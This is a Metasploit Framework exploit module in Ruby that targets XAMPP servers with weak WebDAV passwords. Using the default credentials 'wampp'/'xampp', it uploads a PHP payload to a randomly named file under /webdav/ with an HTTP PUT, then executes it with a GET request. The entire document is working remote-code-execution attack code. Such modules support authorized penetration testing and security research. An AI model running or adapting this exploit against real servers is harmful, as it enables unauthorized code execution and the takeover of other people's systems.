XAMPP WebDAV PHP Upload

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize  
super(  
'Name' => 'XAMPP WebDAV PHP Upload',  
'Description' => %q{  
This module exploits weak WebDAV passwords on XAMPP servers.  
It uses supplied credentials to upload a PHP payload and   
execute it.  
},  
'Author' => ['thelightcosine <thelightcosine[at]metasploit.com'],  
'Version' => '$Revision$',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0  
)  
  
register_options(  
[  
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),  
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),  
OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']),  
OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp'])  
], self.class)  
end  
  
  
  
def exploit  
uri = build_path  
print_status "Uploading Payload to #{uri}"  
res,c = send_digest_request_cgi({  
'uri' => uri,  
'method' => 'PUT',  
'data' => payload.raw,  
'DigestAuthUser' => datastore['RUSER'],  
'DigestAuthPassword' => datastore['RPASS']  
}, 25)  
unless (res.code == 201)  
print_error "Failed to upload file!"  
return  
end  
print_status "Attempting to execute Payload"  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET'  
}, 20)  
end  
  
  
  
def build_path  
if datastore['PATH'][0,1] == '/'  
uri_path = datastore['PATH'].dup  
else  
uri_path = '/' + datastore['PATH'].dup  
end  
uri_path << '/' unless uri_path.ends_with?('/')  
if datastore['FILENAME']  
uri_path << datastore['FILENAME']  
uri_path << '.php' unless uri_path.ends_with?('.php')  
else  
uri_path << Rex::Text.rand_text_alphanumeric(7)  
uri_path << '.php'  
end  
return uri_path  
end  
  
end  
  
`